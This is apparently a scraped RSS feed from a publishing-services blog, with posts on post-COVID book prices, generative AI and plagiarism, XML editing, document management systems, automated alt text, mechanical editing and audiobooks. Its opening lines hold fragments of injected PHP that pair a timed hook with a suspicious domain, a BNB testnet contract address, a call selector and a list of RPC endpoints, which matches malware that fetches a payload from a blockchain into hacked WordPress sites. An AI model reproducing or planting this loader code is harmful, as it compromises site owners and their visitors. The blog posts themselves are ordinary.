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$last=(int)get_option($k,0);if(time()-$last<$interval)return;
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$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
The post Book Prices Continue to Increase After COVID first appeared on .
]]>The COVID-19 pandemic affected the world in every aspect: health, supply-chain demands, and inflation. We’ve seen costs rise on just about everything. But why books? Wouldn’t supply and demand keep the costs of books down since we are in a digital age with more books than anyone could ever read in their lifetime? One would think that would be the case, but the rising costs go well beyond just the book itself. We’ll be taking a deep dive into the world of publishing to find out just what exactly is driving the prices of our favorite reads.
What Factors Are Causing It?
While the average cost per book for printing has gone down, other factors have increased the final purchase price. During COVID, the world ran into a supply-chain shortage as many goods were not being made due to closed factories or a skeleton crew. Shipping also came to a near-halt, which meant goods were not able to go overseas to their various destinations. One supply affected greatly was paper. The significant paper shortage led to print delays. This caused an issue with printing costs going up to cover this and in turn caused publishers and independent authors to increase their book prices to allocate for royalties and licensing fees.
Licensing fees play a major factor in costs. There are rights that need to be purchased to create book covers, editors and formatters to pay for their services, and various marketing costs like ads and social media boosting. Authors and publishers also need to pay for the rights to use any licensed content in the book itself, such as art, song lyrics, or excerpts, as not all available content falls under the “credit given” copyright guidelines.
In 2021, Ingram Spark, a book publishing company, announced that print books increased 10% to 12% in 2021 as many paper factories converted to cardboard factories for online retailing, and shipping costs increased 50% to 70%. This in turn is what caused paper prices to increase, forcing publishers to drastically raise the cost of a book to the consumer.
Are Some Genres More Affected Than Others?
Certainly! Most fiction genres like romance and young adult have seen around a $2 to $4 increase in USD since 2022. Textbooks continue to fluctuate due to the costs of college tuition and market needs. In the United Kingdom alone, paperback books prices rose 84 pence from £9.54 in 2019 to £10.38 in 2022, and now prices are expected to continue to rise to around £12 in 2024. Revenue greatly increased in 2020 and 2021 during the height of the pandemic but then dropped around 9% in 2022 since people were getting back to work and the world started business-as-usual again. Prices of the same book can also vary across countries! A book in the United Kingdom can be purchased for £7.99 (about $9.75 USD), but the same book is being sold in the United States for $17.99!
Does This Include E-Book Pricing?
As of now, not so much. There has been an increase since editors and proofreaders have been raising their costs but not significantly enough to affect e-book costs. However, due to the recent changes Amazon has rolled out regarding their Kindle Unlimited subscription pricing versus author royalties, creating a separate issue in regard to e-book production.
The post Book Prices Continue to Increase After COVID first appeared on .
]]>The post Plagiarism in the World of Generative AI first appeared on .
]]>Generative artificial intelligence (AI) has become incredibly popular in 2023 through TikTok trends that turn selfies into portraits from other centuries and different fantasies to Snapchat’s My AI chatbot. This new technology has greatly affected all aspects of the creative industry. Let’s discuss how generative AI affects the publishing industry.
First, a definition of generative AI: According to IBM Research, “Generative AI refers to deep-learning models that can generate high-quality text, images, and other content based on the data they were trained on.” So it begs the question, if content is being created from the information provided, wouldn’t this classify as plagiarism?
The short answer is yes. According to an article by The Guardian, plagiarism is harder to detect when written by AI because interfaces such as ChatGPT are writing at higher levels. The article describes a situation in which an academic paper, written by ChatGPT, went undetected during a peer review as the reviewers assumed it was written by the scholars who posed the original experiment.
Furthermore, the Authors Guild proposed a class action lawsuit against one of the top generative AI companies, Open AI. Authors were curious about how well ChatGPT would be able to describe one of their characters based off a snippet of their book. They were surprised—and displeased—to find out the chatbot was able to write very detailed information, more so than they thought would be possible from the information they provided. Upon further research, they discovered that their existing books had been poured into the platform as content to be used for generative AI writing without their knowledge, consent, or approval.
So as a user of generative AI, how can you sift through the generated content to determine if it was essentially copy and pasted from another source?
How to Identify
Copyleaks is one of the top resources to identify plagiarism with both an AI Content Detector and Plagiarism Detector available for use. According to their website, the AI Content Detector is “[t]he only enterprise solution that keeps you informed about what content was written by a human or generated by AI, including GPT-4 and Bard.” Their Plagiarism Detector promises to “identify potential plagiarism, detect AI-generated content, and more.”
As an author, there are searchable databases available to see if your content has been used for generative AI, as noted by Owlcation.
How to Prevent
The most obvious solution would be to avoid using any type of generative AI software when writing. But if you need a little help, it would be beneficial to make use of tools such as Copyleaks to help identify any potentially plagiarized material you use from a generative AI platform.
If you happen to be affected by AI and notice your work was illegally being used, one solution is to send a letter to AI companies alerting them your work is being used without your consent, which breaks copyright laws. This will aid in taking your work out of their databases.
The post Plagiarism in the World of Generative AI first appeared on .
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The post Happy Holidays from PPS! first appeared on .
]]>The post The XYZs of XML Editing first appeared on .
]]>XML is a language very similar to HTML used to create and format a document. The key difference is that XML is human language as opposed to HTML’s computer language. Take a look at PPS’s earlier blog for a more in-depth explanation of XML. To some, XML may be intimidating as it appears that it can’t be easily created or edited, but that’s not the case. Once you’re familiar with the basics of XML, editing is as smooth as working in a Word document.

Editing: It’s not that different!
A key piece of information regarding XML editing is knowing that all text requires an opening tag and a closing tag. These tags signal the computer software that this element has a specific design. Here are some examples:
<title>This Is the Title of My Book</title>
<author>My Name</author>
<para>The book titled <italic>Book Title</italic>is about this person’s life.</para>
Each tag is placed within carrots and each closing tag begins with a forward slash. Many XML software programs have a notification setting to alert the writer when and where a tag is missing or incorrect.
After understanding the different tags, the content can be created or edited just like any other file. The use of bold, italics, colors, and many more elements are made possible with the use of these tags.
Benefits of XML Software
Appuals lists five free editors you can use to create or edit an XML document. They include tips and screenshots that you may find useful.
Many software programs offer a split view to make creating and editing even easier. In one half you’ll see the XML tags. The other half will show your content without tags and usually formatted per the tag design specifications. There are some software programs, like Arbortext, where you have to change the view of your document in order to see your content with and without tags.
The fact that XML is a human language makes it much more user-friendly, even for people who are not tech-savvy. The tags are usually self-explanatory and easy to decipher, and they can be changed to reflect the type of document you’re writing or for your intended user audience.
Reading XML Without an XML Viewer
Viewing an XML file in an Internet browser is just as easy as viewing any other document. For example, open a new tab in Chrome and drag the file in to open it. You could also right click on the XML file and use the “Open with” option to select your preferred browser.
If you don’t want to use a browser to view the XML data, you can use a text editor like Notepad. Open the text editor program, select the “Open” option from the menu, and select your file. Note that any edits made in a text editor will not be transferred into the final XML file.
XML and Excel
XML data is often converted to other formats for easier use. One way of doing this is creating Excel spreadsheets from the data to better organize and analyze the data. This step also makes ingesting the data into other programs easier and more manageable.
Why XML?
XML creates a simplified publishing process by making it easier to ingest content into multiple formats—some of the most popular choices being PDFs and ePUBs. It’s also easier to reuse designs and layouts in other programs like InDesign. Once you’ve decided to create XML and have your software program selected and mastered, the creation, editing, and publication is easy!
The post The XYZs of XML Editing first appeared on .
]]>The post Migration to Online Collaboration Editing first appeared on .
]]>By Rachel Guise and Shaina Lucas, PPS Editors − It comes up in a meeting that you and your colleagues need to create a document together. Or say you’re in college and you have a group paper to work on regarding a subject you’re all familiar with. If you’re in the publishing world, how do you get the correct document with the correct version to the project manager, editor, proofreader, and compositor?

A long time ago (longer now than it seems), everything was done by hardcopy, either by handwriting or on a typewriter. This made things a bit difficult to keep track of changes or make the changes easily. With the advancement of technology, we now have a variety of software and tools at our disposal to keep the same document up-to-date no matter who has it or where in the world it goes to. We’ll be taking a look at some of the top document management systems (DMS) currently on the market.
This link (aiim.org) defines DMS as “the use of a computer system and software to store, manage and track electronic documents and electronic images of paper-based information captured through the use of a document scanner.” Think of these services as your electronic assistant manager.
There are a variety of free DMS services, including OpenDocMan, OpenKM, Confluence, and Hightail. OneDrive is included in your Microsoft subscription, and Google Docs is also very popular and free with your account. However, free services are usually limited. As Cloudwards points out, the bigger your company, the bigger your needs. But if you’re an individual or small group, a free DMS service may be just right for you.
Capterra has a great resource to compare several DMS platforms, including listing products, starting price, and frequency. Capterra also lists if there is a free version/trial. It even includes any 5-star ratings. Costs can start as low as $2 a month and stretch as high as a one-time $20,000 payment.
The ease of use is correlated with which DMS software you install. The more features you need, the more you will need to learn and teach to your employees or colleagues.
DMS software offers different tools depending on your needs. Axero lists seven features you should look for: cloud access, intelligent organization, an attractive user interface, a robust search feature, version control, permissions, and universal format support.
One of the main benefits of DMS is that it makes it easy to maintain and organize documents and sharing. Sometimes all you need to do is copy and paste a link into an email. This saves employees and clients time from searching servers and folders for documents.
Another benefit is how easy it is to collaborate with others. Group projects, presentations, and even processes like interviews are made simpler with this efficient means of sharing documents. This is especially useful for a group of authors working together on a book. For example, if you have authors working in different time zones, having one location for materials helps maintain schedules and meet deadlines.
Publishing also benefits from DMS for file sharing. A style guide or design can be easily updated and accessible to multiple users to ensure consistency during manuscript creation and page review. This is a bonus for those books and documents with many contributing authors.
Depending on the DMS you choose, the cost can be a drawback. The more properties you need or the larger the company you run, the more complex a DMS service is going to be needed. More features = higher cost. Along with the size of DMS you need comes the time it takes to set up and maintain, pointed out by PMWorld 360 Magazine. Scanning and uploading large documents can take a big chunk of time to do and making sure your software is up to date can add to the management time. Different systems are constantly changing and adding new features, so be wary of cross-organizational differences. One such example is the new implementation of text management in DropBox. DropBox now allows the user to change documents directly in their cloud, when before it was just a file sharing system. Make sure all users that need to access your documents have the ability to not only access them, but see any changes being made.
The post Migration to Online Collaboration Editing first appeared on .
]]>The post Automated Alt Text: Can a Computer Comprehend What Humans Can? first appeared on .
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As noted in our most recent blog on computer-assisted editing vs. human editing, there is no doubt that software programs or artificial intelligence (AI) can greatly reduce the time spent editing content. This is also true when it comes to creating content, such as alt-text for photos or art used in your publication.
Let’s look at an example.

| Upon inserting this photo into Microsoft Word or PowerPoint, the user is notified that the following alt-text was automatically generated: A picture containing person, person, indoor, table. |
Does this computer-generated alt-text describe the photo accurately? Right off the bat, the word person is listed twice. That’s your first red flag. But the generated alt-text doesn’t convey the general emotion of the photograph. Acknowledging that, a lot could be implied here. Is he frustrated? Does he have a headache? Is he tired? Simply noting that the picture contains a person just isn’t enough. The word picture also doesn’t lend to the overall image. Is this a cave drawing? Is this a painting from the 1500s? Is it a sepia-toned photograph?
So many questions, so little alt-text.
This is just one example of how AI simply can’t interpret all aspects of a piece of art that is being used to enhance a publication. Sure, sometimes art is inserted just to take up space, but sometimes it’s crucial to the content being provided. And as we can see, there is a big difference in what a computer is going to describe to the reader!
The post Automated Alt Text: Can a Computer Comprehend What Humans Can? first appeared on .
]]>The post Mechanical Editing: Does It Stand Up to a Real Person? first appeared on .
]]>Have you read our blog on the possibility of technology replacing an editor? It’s never been easier to have assistance in terms of writing and editing, but not all aspects of the editing process can replace a human.

A mechanical edit, like for instructions on projects with gears or buttons? Yes and no. (It would be helpful for a How-To book!) Archway Publishing defines mechanical editing as “the application of a particular style” where the editor corrects “punctuation, capitalization, spelling, abbreviations, and any other style rules.” This editing style is great for publications that use clear-cut rules for edits. An example would be a publication that simply presents facts, such as a scholarly journal, that uses Associated Press (AP) style. Using software for a mechanical edit would certainly cut down on editing extensive references lists! But would this type of editing software be beneficial throughout the literary field?
When it comes to the nuances of human language, editing software simply “does not compute” like many robots and other forms of artificial intelligence (AI) say in science fiction pop culture. Think of all the novels and memoirs out there; do they read like they’ve been through a mechanical edit? Or do they read like you’re listening to a friend? Read these examples:
I don’t have time for this. I need to get out of here.
I ain’t got time for this. I gotta get out of here.
A mechanical edit would take the second example and edit to match the first example, following more concrete grammar and spelling rules. (Although not all mechanical editing is foolproof.) But what does the second example tell you? Where are they from? What time period are we in? What are they feeling? The possibilities are endless when it comes to describing body language, conversations between characters, personality traits, and even language translations.
And what if something doesn’t make sense? It’s not guaranteed that a mechanical editor is going to ask for clarification or just assume something and edit accordingly. Could there be a better way to phrase something? Can a software program make suggestions? A human editor can pull from personal experiences to offer alternative ideas or ask questions.
As with all things modern, there are pros and cons to a mechanical edit. But when it comes down to the subtle distinctions of human language, let us not forget that AI should help humans rather than replace them.
The post Mechanical Editing: Does It Stand Up to a Real Person? first appeared on .
]]>The post Book Down, Headphones On: Audiobooks Are a Hot Trend first appeared on .
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According to Josh Howarth in his article on the Exploding Topics website, audiobook sales have seen continuous growth since 2012 with revenue up 14.3% each year and will likely continue through the decade.
He also notes that this is a place of untapped revenue for independent authors, and there are websites (such as Amazon’s ACX) that will package the author’s audio file and list it on Amazon, Audible, and Apple iBooks. There are startup costs involved in creating an environment for recording audio. While most authors already have a PC and headphones, and there are inexpensive (or even free) apps such as Audacity or Garageband that work great for recording vocal tracks, microphones can be expensive, although there are good ones available starting at around $100. Another issue is a decent recording environment that will prevent outside noise and create a dead space to prevent sound from reflecting off surfaces. Author imprints has a good article on how to set up an audiobook recording space. Rob Dircks discusses recording and uploading his files to ACX at length in his blog.
On the ACX website, it notes authors can either submit their own audio file or pay for production costs to have it done. For do-it-yourselfers, royalties are 25% (non-exclusive) or 40% (exclusive). Many authors choose to have professional freelance audiobook narrators do the work to avoid the time and expense of doing it themselves.
Another growing trend in audiobooks is AI narration. According to Kaelyn Barron in her article on AI Narration, NVIDIA’s graphic processing unit (GPU) and latest research has resulted in more natural-sounding speech. Use of this technology in audiobooks could result in less costly production and far more books would be available with narration. Listeners would be able to customize the voice they listen to for an even more user-friendly experience.
So far, the biggest player in audiobooks is Amazon, which has around 200,000 titles on Audible. Jacob Parker in his blog considers it the best, if arguably the most expensive, place to get audiobooks. Other good platforms included Apple iBooks, Google Audiobooks, Kobo Audiobooks, and Librivox. The titles on Librivox are free due to the titles being in the public domain and recorded by volunteers. Another good, and normally free, option is through an app (e.g., Hoopla) connected to a listener’s public library account.
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CUSTOMERS’ FIVE TOP PRIORITIES
When entering or dealing with a business or vendor, customers always check for certain things, and good customer service is one of them. But what do customers focus on the most?
BUSINESS’ TOP FIVE PRIORITIES
We’ve listed what customers look for from a business regarding customer service. Here is a review of what a business needs to focus on in order to implement a better customer service experience in their company?
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